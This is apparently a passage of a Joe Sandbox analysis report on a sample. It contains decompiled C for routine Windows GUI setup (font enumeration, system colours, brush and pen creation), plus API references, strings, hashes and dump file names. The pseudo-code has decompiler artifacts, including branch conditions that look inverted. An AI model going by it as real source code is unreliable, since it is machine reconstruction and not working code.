					_t418 = EnumFontFamiliesW( *(_t545 - 0x480), 0, 0xb92e22, L"Segoe UI"); // executed
					if(_t418 != 0) {
						_t419 = EnumFontFamiliesW( *(_t545 - 0x480), 0, 0xb92e22, L"Tahoma");
						__eflags = _t419;
						_t420 = _t545 - 0x50;
						if(_t419 != 0) {
							_push(L"MS Sans Serif");
						} else {
							_push(L"Tahoma");
						}
						lstrcpyW(_t420, ??);
					} else {
						lstrcpyW(_t545 - 0x50, L"Segoe UI");
						 *((char*)(_t545 - 0x52)) = 5;
					}
				}
				_t445 =  *0xcee0ac;
				E00B7A8DA( *0xcee0ac, _t525 + 0x11c, _t515, CreateFontIndirectW(_t545 - 0x6c));
				_t264 =  *(_t545 - 0x6c);
				 *(_t545 - 0x460) = _t264;
				0xc896c6(_t264);
				 *(_t545 - 0x46c) = _t264;
				asm("fild dword [ebp-0x46c]");
				 *(_t545 - 0x470) = _t582;
				asm("fld1");
				asm("faddp st1, st0");
				0xc896e0();
				 *(_t545 - 0x6c) = _t264;
				if( *(_t545 - 0x460) < 0) {
					 *(_t545 - 0x6c) =  ~_t264;
				}
				E00B7A8DA(_t445, _t525 + 0x15c, _t515, CreateFontIndirectW(_t545 - 0x6c));
				 *(_t545 - 0x6c) =  *(_t545 - 0x460);
				 *((intOrPtr*)(_t545 - 0x45c)) = 0x1f8;
				E00B92F84(_t525, _t545 - 0x45c);
				 *((char*)(_t545 - 0x58)) =  *((intOrPtr*)(_t545 - 0x30c));
				 *(_t545 - 0x5c) =  *(_t545 - 0x310);
				E00B7A8DA(_t445, _t525 + 0x124, _t515, CreateFontIndirectW(_t545 - 0x6c));
				 *((char*)(_t545 - 0x58)) =  *((intOrPtr*)(_t545 - 0x170));
				 *(_t545 - 0x5c) =  *(_t545 - 0x174);
				 *((char*)(_t545 - 0x57)) = 1;
				E00B7A8DA(_t445, _t525 + 0x13c, _t515, CreateFontIndirectW(_t545 - 0x6c));
				 *((char*)(_t545 - 0x57)) = 0;
				 *(_t545 - 0x5c) = 0x2bc;
				E00B7A8DA(_t445, _t525 + 0x12c, _t515, CreateFontIndirectW(_t545 - 0x6c));
				_t446 =  *((intOrPtr*)(_t545 - 0x55));
				 *(_t545 - 0x5c) =  *(_t545 - 0x5c) & 0x00000000;
				 *((char*)(_t545 - 0x55)) = 2;
				 *(_t545 - 0x6c) = GetSystemMetrics(0x48) - 1;
				lstrcpyW(_t545 - 0x50, L"Marlett");
				_t289 = CreateFontIndirectW(_t545 - 0x6c);
				_t461 = _t525 + 0x164;
				E00B7A8DA(_t446, _t525 + 0x164, _t515, _t289);
				 *(_t545 - 0x464) =  *(_t545 - 0x464) & 0x00000000;
				 *((char*)(_t545 - 0x55)) = _t446;
				 *((intOrPtr*)(_t545 - 0x468)) = 0xd00394;
				 *(_t545 - 4) = 1;
				_t291 = GetStockObject(0x11);
				_t447 =  *0xcee170;
				 *(_t545 - 0x464) = _t291;
				if(_t291 != 0) {
					_t461 = _t545 - 0x6c;
					if(GetObjectW(_t291, 0x5c, _t545 - 0x6c) != 0) {
						 *(_t545 - 0x6c) =  *(_t545 - 0x184);
						 *(_t545 - 0x5c) =  *(_t545 - 0x174);
						 *((char*)(_t545 - 0x58)) =  *((intOrPtr*)(_t545 - 0x170));
						 *((intOrPtr*)(_t545 - 0x60)) = 0x384;
						 *((intOrPtr*)(_t545 - 0x64)) = 0xa8c;
						lstrcpyW(_t545 - 0x50, L"Arial");
						E00B7A8DA(_t447, _t525 + 0x14c, _t515, CreateFontIndirectW(_t545 - 0x6c));
						 *((intOrPtr*)(_t545 - 0x64)) = 0x384;
						_t415 = CreateFontIndirectW(_t545 - 0x6c);
						_t461 = _t525 + 0x154;
						E00B7A8DA(_t447, _t525 + 0x154, _t515, _t415);
					}
				}
				GetObjectW( *(E00B7AB49(_t447, _t461, _t515, _t525, GetStockObject(0x11)) + 4), 0x5c, _t545 - 0x6c);
				 *((char*)(_t545 - 0x57)) = 1;
				E00B7A8DA(_t447, _t525 + 0x144, _t515, CreateFontIndirectW(_t545 - 0x6c));
				 *((char*)(_t545 - 0x57)) = 0;
				 *(_t545 - 0x5c) = 0x2bc;
				E00B7A8DA(_t447, _t525 + 0x134, _t515, CreateFontIndirectW(_t545 - 0x6c));
				_t465 = _t525; // executed
				E00B93D53(_t465, _t515);
				_t526 =  *0xd6e17c; // 0x0
				while(_t526 != 0) {
					_t518 = _t526;
					__eflags = _t526;
					if(_t526 == 0) {
						L61:
						E00B6BD09(_t465);
						asm("int3");
						0xc814d0(0x24);
						_t448 = _t465;
						 *((intOrPtr*)(_t545 - 0x14)) = _t448;
						_t304 = GetSysColor(0x16);
						__eflags = _t304 - 0xffffff;
						if(_t304 != 0xffffff) {
							L65:
							_t305 = 0;
							__eflags = 0;
						} else {
							_t397 = GetSysColor(0xf);
							__eflags = _t397;
							if(_t397 != 0) {
								goto L65;
							} else {
								_t305 = _t397 + 1;
							}
						}
						 *(_t448 + 0x184) = _t305;
						_t306 = GetSysColor(0x15);
						__eflags = _t306;
						if(_t306 != 0) {
							L69:
							_t307 = 0;
							__eflags = 0;
						} else {
							_t395 = GetSysColor(0xf);
							__eflags = _t395 - 0xffffff;
							if(_t395 != 0xffffff) {
								goto L69;
							} else {
								_t307 = 1;
							}
						}
						 *((intOrPtr*)(_t448 + 0x188)) = _t307;
						E00B79FA4(_t545 - 0x30);
						 *(_t545 - 4) =  *(_t545 - 4) & 0x00000000;
						 *((intOrPtr*)(_t448 + 0x1ac)) =  *0xcee184( *((intOrPtr*)(_t545 - 0x28)), 0xc, 0);
						_t310 = GetSysColor(0xf);
						 *(_t448 + 0x1c) = _t310;
						 *(_t448 + 0x54) = _t310;
						_t311 = GetSysColor(0x10);
						 *(_t448 + 0x20) = _t311;
						 *(_t448 + 0x58) = _t311;
						_t312 = GetSysColor(0x15);
						 *(_t448 + 0x30) = _t312;
						 *(_t448 + 0x60) = _t312;
						_t313 = GetSysColor(0x16);
						 *(_t448 + 0x34) = _t313;
						 *(_t448 + 0x64) = _t313;
						_t314 = GetSysColor(0x14);
						 *(_t448 + 0x24) = _t314;
						 *(_t448 + 0x5c) = _t314;
						_t315 = GetSysColor(0x12);
						 *(_t448 + 0x28) = _t315;
						 *(_t448 + 0x68) = _t315;
						 *((intOrPtr*)(_t448 + 0x38)) = GetSysColor(0x11);
						 *((intOrPtr*)(_t448 + 0x2c)) = GetSysColor(6);
						 *(_t448 + 0x3c) = GetSysColor(0xd);
						 *((intOrPtr*)(_t448 + 0x40)) = GetSysColor(0xe);
						_t320 = GetSysColor(5);
						 *(_t448 + 0x6c) = _t320;
						 *(_t448 + 0x50) = _t320;
						 *(_t448 + 0x70) = GetSysColor(8);
						 *((intOrPtr*)(_t448 + 0x74)) = GetSysColor(9);
						 *((intOrPtr*)(_t448 + 0x78)) = GetSysColor(7);
						 *(_t448 + 0x7c) = GetSysColor(2);
						 *(_t448 + 0x80) = GetSysColor(3);
						 *((intOrPtr*)(_t448 + 0x88)) = GetSysColor(0x1b);
						 *((intOrPtr*)(_t448 + 0x8c)) = GetSysColor(0x1c);
						 *((intOrPtr*)(_t448 + 0x90)) = GetSysColor(0xa);
						 *((intOrPtr*)(_t448 + 0x94)) = GetSysColor(0xb);
						_t330 = GetSysColor(0x13);
						__eflags =  *(_t448 + 0x184);
						 *(_t448 + 0x84) = _t330;
						if( *(_t448 + 0x184) == 0) {
							_t331 = GetSysColor(0x1a);
							 *(_t448 + 0x48) = 0xff0000;
							 *(_t448 + 0x4c) = 0x800080;
						} else {
							_t331 =  *(_t448 + 0x70);
							 *(_t448 + 0x48) = _t331;
							 *(_t448 + 0x4c) = _t331;
						}
						 *(_t448 + 0x44) = _t331;
						_t332 = GetSysColorBrush(0x10);
						 *(_t448 + 0x14) = _t332;
						__eflags = _t332;
						_t468 = 0 | __eflags != 0x00000000;
						if(__eflags == 0) {
							L74:
							E00B6BD09(_t468);
						}
						_t333 = GetSysColorBrush(0x14);
						 *(_t448 + 0x10) = _t333;
						__eflags = _t333;
						_t468 = 0 | __eflags != 0x00000000;
						if(__eflags == 0) {
							goto L74;
						}
						_t335 = GetSysColorBrush(5);
						 *(_t448 + 0x18) = _t335;
						__eflags = _t335;
						_t468 = 0 | __eflags != 0x00000000;
						if(__eflags == 0) {
							goto L74;
						}
						E00B7A9E6(_t448 + 0x98);
						_t337 = CreateSolidBrush( *(_t448 + 0x1c)); // executed
						E00B7A8DA(_t448, _t448 + 0x98, _t515, _t337);
						E00B7A9E6(_t448 + 0xd0);
						E00B7A8DA(_t448, _t448 + 0xd0, _t515, CreateSolidBrush( *(_t448 + 0x54)));
						E00B7A9E6(_t448 + 0xb8);
						E00B7A8DA(_t448, _t448 + 0xb8, _t515, CreateSolidBrush( *(_t448 + 0x7c)));
						E00B7A9E6(_t448 + 0xc0);
						E00B7A8DA(_t448, _t448 + 0xc0, _t515, CreateSolidBrush( *(_t448 + 0x80)));
						E00B7A9E6(_t448 + 0xa0);
						E00B7A8DA(_t448, _t448 + 0xa0, _t515, CreateSolidBrush( *(_t448 + 0x3c)));
						E00B7A9E6(_t448 + 0xb0);
						E00B7A8DA(_t448, _t448 + 0xb0, _t515, CreateSolidBrush( *(_t448 + 0x30)));
						E00B7A9E6(_t448 + 0xc8);
						E00B7A8DA(_t448, _t448 + 0xc8, _t515, CreateSolidBrush( *(_t448 + 0x6c)));
						E00B7A9E6(_t448 + 0xd8);
						_t358 = CreatePen(0, 1,  *0xd6d5b4); // executed
						E00B7A8DA(_t448, _t448 + 0xd8, _t515, _t358);
						E00B7A9E6(_t448 + 0xe0);
						E00B7A8DA(_t448, _t448 + 0xe0, _t515, CreatePen(0, 1,  *0xd6d5cc));
						E00B7A9E6(_t448 + 0xe8);
						E00B7A8DA(_t448, _t448 + 0xe8, _t515, CreatePen(0, 1,  *0xd6d5d0));
						_t539 = _t448 + 0xa8;
						__eflags = _t539;
						if(_t539 != 0) {
							__eflags =  *(_t539 + 4);
							if( *(_t539 + 4) != 0) {
								E00B7A9E6(_t539);
							}
						}
						__eflags =  *((intOrPtr*)(_t448 + 0x1ac)) - 8;
						if( *((intOrPtr*)(_t448 + 0x1ac)) <= 8) {
							__eflags = E00B92A91( *((intOrPtr*)(_t545 - 0x2c)));
							_t468 = 0 | __eflags != 0x00000000;
							if(__eflags == 0) {
								goto L74;
							} else {
								_t224 = _t545 - 0x18;
								 *_t224 =  *(_t545 - 0x18) & 0x00000000;
								__eflags =  *_t224;
								 *((intOrPtr*)(_t545 - 0x1c)) = 0xd000f4;
								 *(_t545 - 4) = 1;
								E00B7A8DA(_t448, _t545 - 0x1c, _t515, _t366);
								E00B7A8DA(_t448, _t539, _t515, CreatePatternBrush( *(_t545 - 0x18)));
								 *(_t545 - 4) = 0;
								 *((intOrPtr*)(_t545 - 0x1c)) = 0xd000f4;
								E00B7A062(_t545 - 0x1c);
							}
						} else {
							_t523 =  *((intOrPtr*)(_t545 - 0x14));
							_t449 =  *((intOrPtr*)(_t448 + 0x1e));
							 *(_t545 - 0x10) =  *(_t448 + 0x1d) & 0x000000ff;
							 *(_t545 - 0xd) =  *((intOrPtr*)(_t523 + 0x1c));
							asm("cdq");
							_t448 =  *(_t545 - 0x10);
							asm("cdq");
							asm("cdq");
							E00B7A8DA( *(_t545 - 0x10), _t523 + 0xa8, _t515, CreateSolidBrush((((( *(_t523 + 0x26) & 0x000000ff) - (_t449 & 0x000000ff) - _t515 >> 0x00000001) + _t449 & 0x000000ff) << 0x00000008 | (( *(_t523 + 0x25) & 0x000000ff) - ( *(_t545 - 0x10) & 0x000000ff) - _t515 >> 0x00000001) +  *(_t545 - 0x10) & 0x000000ff) << 0x00000008 | (( *(_t523 + 0x24) & 0x000000ff) - ( *(_t545 - 0xd) & 0x000000ff) - _t515 >> 0x00000001) +  *(_t545 - 0xd) & 0x000000ff));
						}
						E00B99F05();
						_t233 = _t545 - 4;
						 *_t233 =  *(_t545 - 4) | 0xffffffff;
						__eflags =  *_t233;
						 *0xd6ed90 = 1;
						_t372 = E00B7A178(_t448, _t545 - 0x30, _t515,  *_t233);
						0xc8149e();
						return _t372;
					} else {
						_t524 =  *((intOrPtr*)(_t518 + 8));
						_t526 =  *_t526;
						_t524 = _t524 != 0;
						if(_t524 != 0) {
							goto L61;
						} else {
							_t400 = E00B741C3(_t447, _t465, _t515,  *((intOrPtr*)(_t524 + 0x20)));
							__eflags = _t400;
							if(_t400 != 0) {
								_t465 = _t524;
								 *((intOrPtr*)( *_t524 + 0x3a4))();
							}
							continue;
						}
					}
					L85:
				}
				 *(_t545 - 4) = 0;
				 *((intOrPtr*)(_t545 - 0x468)) = 0xd00394;
				E00B7A062(_t545 - 0x468); // executed
				 *(_t545 - 4) =  *(_t545 - 4) | 0xffffffff;
				_t402 = E00B7A178(_t447, _t545 - 0x484, _t515,  *(_t545 - 4));
				0xc814b2();
				return _t402;
				goto L85;
			}

0x00b9347c
0x00b93486
0x00b9348b
0x00b93496
0x00b934a3
0x00b934a6
0x00b934ac
0x00b934b2
0x00b934b8
0x00b934c4
0x00b934ca
0x00b934d0
0x00b934d2
0x00b934d4
0x00b934d9
0x00b934f4
0x00b934f6
0x00b934f6
0x00b934db
0x00b934db
0x00b934e1
0x00b934e3
0x00b934e5
0x00b934ea
0x00000000
0x00b934ec
0x00b934ec
0x00b934ec
0x00b934ea
0x00b934fe
0x00b93506
0x00b93516
0x00b93516
0x00b93518
0x00b93520
0x00b93530
0x00b93530
0x00b93532
0x00b9353a
0x00b9354a
0x00b9354a
0x00b9354c
0x00b93554
0x00b93564
0x00b93564
0x00b93566
0x00b9356e
0x00b9357e
0x00b9357e
0x00b93580
0x00b93588
0x00b93598
0x00b93598
0x00b9359a
0x00b935a2
0x00b935b2
0x00b935b2
0x00b935b4
0x00b935bc
0x00b935cc
0x00b935cc
0x00b935ce
0x00b935d6
0x00b935e6
0x00b935e6
0x00b935e8
0x00b935f0
0x00b93600
0x00b93600
0x00b93608
0x00b93615
0x00b93621
0x00b93637
0x00b93640
0x00b93649
0x00b93652
0x00b93655
0x00b9365a
0x00b93661
0x00b93664
0x00b93666
0x00b93666
0x00b93666
0x00b9365c
0x00b9365e
0x00b9365e
0x00b9366e
0x00b93670
0x00b93670
0x00b93678
0x00b93686
0x00b9368b
0x00b936ad
0x00b936b1
0x00b936d6
0x00b936d8
0x00b936da
0x00b936dd
0x00b936e6
0x00b936df
0x00b936df
0x00b936df
0x00b936ec
0x00b936b3
0x00b936bc
0x00b936be
0x00b936be
0x00b936b1
0x00b936ee
0x00b93701
0x00b93706
0x00b9370a
0x00b93710
0x00b93715
0x00b9371b
0x00b93722
0x00b9372e
0x00b93730
0x00b9373a
0x00b93746
0x00b93749
0x00b9374d
0x00b9374d
0x00b9375d
0x00b9376a
0x00b93774
0x00b9377e
0x00b93789
0x00b93792
0x00b937a2
0x00b937ad
0x00b937b6
0x00b937bd
0x00b937ca
0x00b937d2
0x00b937d7
0x00b937e7
0x00b937ec
0x00b937ef
0x00b937f5
0x00b93800
0x00b9380c
0x00b93812
0x00b93819
0x00b9381f
0x00b93824
0x00b9382b
0x00b9382e
0x00b9383a
0x00b9383e
0x00b93844
0x00b9384a
0x00b93852
0x00b93854
0x00b9385f
0x00b93867
0x00b93870
0x00b93879
0x00b93885
0x00b9388c
0x00b93893
0x00b938a6
0x00b938ae
0x00b938b6
0x00b938bd
0x00b938c3
0x00b938c3
0x00b9385f
0x00b938df
0x00b938e4
0x00b938f6
0x00b938fe
0x00b93903
0x00b93917
0x00b9391c
0x00b9391e
0x00b93923
0x00b93957
0x00b9392b
0x00b9392d
0x00b9392f
0x00b93989
0x00b93989
0x00b9398e
0x00b93996
0x00b9399b
0x00b9399d
0x00b939a8
0x00b939af
0x00b939b1
0x00b939be
0x00b939be
0x00b939be
0x00b939b3
0x00b939b5
0x00b939b7
0x00b939b9
0x00000000
0x00b939bb
0x00b939bb
0x00b939bb
0x00b939b9
0x00b939c2
0x00b939c8
0x00b939ca
0x00b939cc
0x00b939db
0x00b939db
0x00b939db
0x00b939ce
0x00b939d0
0x00b939d2
0x00b939d4
0x00000000
0x00b939d6
0x00b939d8
0x00b939d8
0x00b939d4
0x00b939e2
0x00b939e8
0x00b939ed
0x00b939fe
0x00b93a04
0x00b93a08
0x00b93a0b
0x00b93a0e
0x00b93a12
0x00b93a15
0x00b93a18
0x00b93a1c
0x00b93a1f
0x00b93a22
0x00b93a26
0x00b93a29
0x00b93a2c
0x00b93a30
0x00b93a33
0x00b93a36
0x00b93a3a
0x00b93a3d
0x00b93a44
0x00b93a4b
0x00b93a52
0x00b93a59
0x00b93a5c
0x00b93a60
0x00b93a63
0x00b93a6a
0x00b93a71
0x00b93a78
0x00b93a7f
0x00b93a86
0x00b93a90
0x00b93a9a
0x00b93aa4
0x00b93aae
0x00b93ab4
0x00b93ab6
0x00b93abd
0x00b93ac3
0x00b93ad2
0x00b93ad4
0x00b93adb
0x00b93ac5
0x00b93ac5
0x00b93ac8
0x00b93acb
0x00b93acb
0x00b93aea
0x00b93aed
0x00b93af1
0x00b93af4
0x00b93af6
0x00b93afb
0x00b93afd
0x00b93afd
0x00b93afd
0x00b93b04
0x00b93b08
0x00b93b0b
0x00b93b0d
0x00b93b12
0x00000000
0x00000000
0x00b93b16
0x00b93b1a
0x00b93b1d
0x00b93b1f
0x00b93b24
0x00000000
0x00000000
0x00b93b2e
0x00b93b3c
0x00b93b41
0x00b93b4e
0x00b93b5b
0x00b93b68
0x00b93b75
0x00b93b82
0x00b93b92
0x00b93b9f
0x00b93bac
0x00b93bb9
0x00b93bc6
0x00b93bd3
0x00b93be0
0x00b93bed
0x00b93c02
0x00b93c07
0x00b93c14
0x00b93c28
0x00b93c35
0x00b93c49
0x00b93c4e
0x00b93c54
0x00b93c56
0x00b93c58
0x00b93c5c
0x00b93c60
0x00b93c60
0x00b93c5c
0x00b93c65
0x00b93c6c
0x00b93cec
0x00b93cee
0x00b93cf3
0x00000000
0x00b93cf9
0x00b93cf9
0x00b93cf9
0x00b93cf9
0x00b93d02
0x00b93d09
0x00b93d0d
0x00b93d1e
0x00b93d26
0x00b93d2a
0x00b93d2d
0x00b93d2d
0x00b93c6e
0x00b93c72
0x00b93c75
0x00b93c78
0x00b93c82
0x00b93c8b
0x00b93c92
0x00b93ca9
0x00b93cbe
0x00b93cd9
0x00b93cd9
0x00b93d32
0x00b93d37
0x00b93d37
0x00b93d37
0x00b93d3e
0x00b93d48
0x00b93d4d
0x00b93d52
0x00b93931
0x00b93931
0x00b93936
0x00b9393d
0x00b9393f
0x00000000
0x00b93941
0x00b93944
0x00b93949
0x00b9394b
0x00b9394f
0x00b93951
0x00b93951
0x00000000
0x00b9394b
0x00b9393f
0x00000000
0x00b9392f
0x00b93961
0x00b93965
0x00b9396f
0x00b93974
0x00b9397e
0x00b93983
0x00b93988
0x00000000

APIs

__EH_prolog3_GS.LIBCMT ref: 00B93486

Part of subcall function 00B79FA4: __EH_prolog3.LIBCMT ref: 00B79FAB

DeleteObject.GDI32(00000000), ref: 00B93516
DeleteObject.GDI32(00000000), ref: 00B93530
DeleteObject.GDI32(00000000), ref: 00B9354A
DeleteObject.GDI32(00000000), ref: 00B93564
DeleteObject.GDI32(00000000), ref: 00B9357E
DeleteObject.GDI32(00000000), ref: 00B93598
DeleteObject.GDI32(00000000), ref: 00B935B2
DeleteObject.GDI32(00000000), ref: 00B935CC
DeleteObject.GDI32(00000000), ref: 00B935E6
DeleteObject.GDI32(00000000), ref: 00B93600
_memset.LIBCMT ref: 00B93621
GetTextCharsetInfo.GDI32(?,00000000,00000000), ref: 00B93631
lstrcpyW.KERNEL32(?,?), ref: 00B93686
EnumFontFamiliesW.GDI32(?,00000000,00B92E22,Segoe UI), ref: 00B936AD
lstrcpyW.KERNEL32(?,Segoe UI), ref: 00B936BC
EnumFontFamiliesW.GDI32(?,00000000,00B92E22,Tahoma), ref: 00B936D6
lstrcpyW.KERNEL32(?,MS Sans Serif), ref: 00B936EC
CreateFontIndirectW.GDI32(?), ref: 00B936F8
CreateFontIndirectW.GDI32(?), ref: 00B93754
CreateFontIndirectW.GDI32(?), ref: 00B93799
CreateFontIndirectW.GDI32(?), ref: 00B937C1
CreateFontIndirectW.GDI32(?), ref: 00B937DE
GetSystemMetrics.USER32(00000048), ref: 00B937F9
lstrcpyW.KERNEL32(?,Marlett), ref: 00B9380C
CreateFontIndirectW.GDI32(?), ref: 00B93812
GetStockObject.GDI32(00000011), ref: 00B9383E
GetObjectW.GDI32(00000000,0000005C,?), ref: 00B9385B
lstrcpyW.KERNEL32(?,Arial), ref: 00B93893
CreateFontIndirectW.GDI32(?), ref: 00B93899
CreateFontIndirectW.GDI32(?), ref: 00B938B6
GetStockObject.GDI32(00000011), ref: 00B938CA
GetObjectW.GDI32(?,0000005C,?,00000000), ref: 00B938DF
CreateFontIndirectW.GDI32(?), ref: 00B938E9
CreateFontIndirectW.GDI32(?), ref: 00B9390A

Part of subcall function 00B93D53: __EH_prolog3_GS.LIBCMT ref: 00B93D5A
Part of subcall function 00B93D53: GetTextMetricsW.GDI32(?,?,00000006,00000000,00000054,00B93923,00000000), ref: 00B93D97
Part of subcall function 00B93D53: GetTextMetricsW.GDI32(?,?,?), ref: 00B93DD8

Part of subcall function 00B6BD09: __CxxThrowException@8.LIBCMT ref: 00B6BD1D

Strings

Tahoma, xrefs: 00B936C4, 00B936DF
MS Sans Serif, xrefs: 00B936E6
Marlett, xrefs: 00B93806
Arial, xrefs: 00B9387F
Segoe UI, xrefs: 00B93696, 00B936B3

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: Object$Font$CreateDeleteIndirect$lstrcpy$MetricsText$EnumFamiliesH_prolog3_Stock$CharsetException@8H_prolog3InfoSystemThrow_memset
String ID: Arial$MS Sans Serif$Marlett$Segoe UI$Tahoma
API String ID: 967143792-1395034203
Opcode ID: 0337816f33869287408c20422618cf83084b3fd572409dfd15a371bc7e58f6d1
Instruction ID: c1adbfee0a15af4f1e3381ba363d4dbe6b8657c0e3d8765b302dd9cacd8e8e9b
Opcode Fuzzy Hash: 0337816f33869287408c20422618cf83084b3fd572409dfd15a371bc7e58f6d1
Instruction Fuzzy Hash: 6FE180B19003489FDF21EBB0CC49BDEB7F8AF45704F0484A9E55AAB291DB749A44CF21

Uniqueness

Uniqueness Score: -1.00%

Function 00B9398F Relevance: 63.3, APIs: 42, Instructions: 316
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E00B9398F(signed int __ecx, void* __edx) {
				signed int _t103;
				signed int _t105;
				long _t108;
				long _t109;
				long _t110;
				long _t111;
				long _t112;
				long _t113;
				long _t118;
				long _t129;
				struct HBRUSH__* _t130;
				struct HBRUSH__* _t131;
				struct HBRUSH__* _t133;
				struct HBRUSH__* _t135;
				struct HPEN__* _t156;
				void* _t170;
				long _t195;
				signed char _t197;
				void* _t235;
				intOrPtr _t240;
				void* _t253;
				void* _t259;
				struct HBRUSH__* _t265;
				struct HBRUSH__* _t267;
				struct HBRUSH__* _t269;

				_t235 = __edx;
				0xc814d0(0x24);
				_t196 = __ecx;
				 *((intOrPtr*)(_t259 - 0x14)) = __ecx;
				if(GetSysColor(0x16) != 0xffffff) {
					L3:
					_t103 = 0;
					__eflags = 0;
				} else {
					_t195 = GetSysColor(0xf);
					if(_t195 != 0) {
						goto L3;
					} else {
						_t103 = _t195 + 1;
					}
				}
				 *((intOrPtr*)(_t196 + 0x184)) = _t103;
				if(GetSysColor(0x15) != 0 || GetSysColor(0xf) != 0xffffff) {
					_t105 = 0;
					__eflags = 0;
				} else {
					_t105 = 1;
				}
				 *((intOrPtr*)(_t196 + 0x188)) = _t105;
				E00B79FA4(_t259 - 0x30);
				 *(_t259 - 4) =  *(_t259 - 4) & 0x00000000;
				 *((intOrPtr*)(_t196 + 0x1ac)) =  *0xcee184( *((intOrPtr*)(_t259 - 0x28)), 0xc, 0);
				_t108 = GetSysColor(0xf);
				 *(_t196 + 0x1c) = _t108;
				 *(_t196 + 0x54) = _t108;
				_t109 = GetSysColor(0x10);
				 *(_t196 + 0x20) = _t109;
				 *(_t196 + 0x58) = _t109;
				_t110 = GetSysColor(0x15);
				 *(_t196 + 0x30) = _t110;
				 *(_t196 + 0x60) = _t110;
				_t111 = GetSysColor(0x16);
				 *(_t196 + 0x34) = _t111;
				 *(_t196 + 0x64) = _t111;
				_t112 = GetSysColor(0x14);
				 *(_t196 + 0x24) = _t112;
				 *(_t196 + 0x5c) = _t112;
				_t113 = GetSysColor(0x12);
				 *(_t196 + 0x28) = _t113;
				 *(_t196 + 0x68) = _t113;
				 *((intOrPtr*)(_t196 + 0x38)) = GetSysColor(0x11);
				 *((intOrPtr*)(_t196 + 0x2c)) = GetSysColor(6);
				 *(_t196 + 0x3c) = GetSysColor(0xd);
				 *((intOrPtr*)(_t196 + 0x40)) = GetSysColor(0xe);
				_t118 = GetSysColor(5);
				 *(_t196 + 0x6c) = _t118;
				 *(_t196 + 0x50) = _t118;
				 *(_t196 + 0x70) = GetSysColor(8);
				 *((intOrPtr*)(_t196 + 0x74)) = GetSysColor(9);
				 *((intOrPtr*)(_t196 + 0x78)) = GetSysColor(7);
				 *(_t196 + 0x7c) = GetSysColor(2);
				 *(_t196 + 0x80) = GetSysColor(3);
				 *((intOrPtr*)(_t196 + 0x88)) = GetSysColor(0x1b);
				 *((intOrPtr*)(_t196 + 0x8c)) = GetSysColor(0x1c);
				 *((intOrPtr*)(_t196 + 0x90)) = GetSysColor(0xa);
				 *((intOrPtr*)(_t196 + 0x94)) = GetSysColor(0xb);
				 *((intOrPtr*)(_t196 + 0x84)) = GetSysColor(0x13);
				if( *((intOrPtr*)(_t196 + 0x184)) == 0) {
					_t129 = GetSysColor(0x1a);
					 *(_t196 + 0x48) = 0xff0000;
					 *(_t196 + 0x4c) = 0x800080;
				} else {
					_t129 =  *(_t196 + 0x70);
					 *(_t196 + 0x48) = _t129;
					 *(_t196 + 0x4c) = _t129;
				}
				 *(_t196 + 0x44) = _t129;
				_t130 = GetSysColorBrush(0x10);
				 *(_t196 + 0x14) = _t130;
				_t265 = _t130;
				_t201 = 0 | _t265 == 0x00000000;
				if(_t265 == 0) {
					L12:
					E00B6BD09(_t201);
				}
				_t131 = GetSysColorBrush(0x14);
				 *(_t196 + 0x10) = _t131;
				_t267 = _t131;
				_t201 = 0 | _t267 != 0x00000000;
				if(_t267 != 0) {
					goto L12;
				}
				_t133 = GetSysColorBrush(5);
				 *(_t196 + 0x18) = _t133;
				_t269 = _t133;
				_t201 = 0 | _t269 != 0x00000000;
				if(_t269 != 0) {
					goto L12;
				}
				_t243 = _t196 + 0x98;
				E00B7A9E6(_t196 + 0x98);
				_t135 = CreateSolidBrush( *(_t196 + 0x1c)); // executed
				E00B7A8DA(_t196, _t243, _t235, _t135);
				_t244 = _t196 + 0xd0;
				E00B7A9E6(_t196 + 0xd0);
				E00B7A8DA(_t196, _t244, _t235, CreateSolidBrush( *(_t196 + 0x54)));
				_t245 = _t196 + 0xb8;
				E00B7A9E6(_t196 + 0xb8);
				E00B7A8DA(_t196, _t245, _t235, CreateSolidBrush( *(_t196 + 0x7c)));
				_t246 = _t196 + 0xc0;
				E00B7A9E6(_t196 + 0xc0);
				E00B7A8DA(_t196, _t246, _t235, CreateSolidBrush( *(_t196 + 0x80)));
				_t247 = _t196 + 0xa0;
				E00B7A9E6(_t196 + 0xa0);
				E00B7A8DA(_t196, _t247, _t235, CreateSolidBrush( *(_t196 + 0x3c)));
				_t248 = _t196 + 0xb0;
				E00B7A9E6(_t196 + 0xb0);
				E00B7A8DA(_t196, _t248, _t235, CreateSolidBrush( *(_t196 + 0x30)));
				_t249 = _t196 + 0xc8;
				E00B7A9E6(_t196 + 0xc8);
				E00B7A8DA(_t196, _t249, _t235, CreateSolidBrush( *(_t196 + 0x6c)));
				_t250 = _t196 + 0xd8;
				E00B7A9E6(_t196 + 0xd8);
				_t156 = CreatePen(0, 1,  *0xd6d5b4); // executed
				E00B7A8DA(_t196, _t250, _t235, _t156);
				_t251 = _t196 + 0xe0;
				E00B7A9E6(_t196 + 0xe0);
				E00B7A8DA(_t196, _t251, _t235, CreatePen(0, 1,  *0xd6d5cc));
				_t252 = _t196 + 0xe8;
				E00B7A9E6(_t196 + 0xe8);
				E00B7A8DA(_t196, _t252, _t235, CreatePen(0, 1,  *0xd6d5d0));
				_t253 = _t196 + 0xa8;
				if(_t253 != 0 &&  *((intOrPtr*)(_t253 + 4)) != 0) {
					E00B7A9E6(_t253);
				}
				if( *((intOrPtr*)(_t196 + 0x1ac)) <= 8) {
					__eflags = E00B92A91( *((intOrPtr*)(_t259 - 0x2c)));
					_t201 = 0 | __eflags != 0x00000000;
					if(__eflags == 0) {
						goto L12;
					} else {
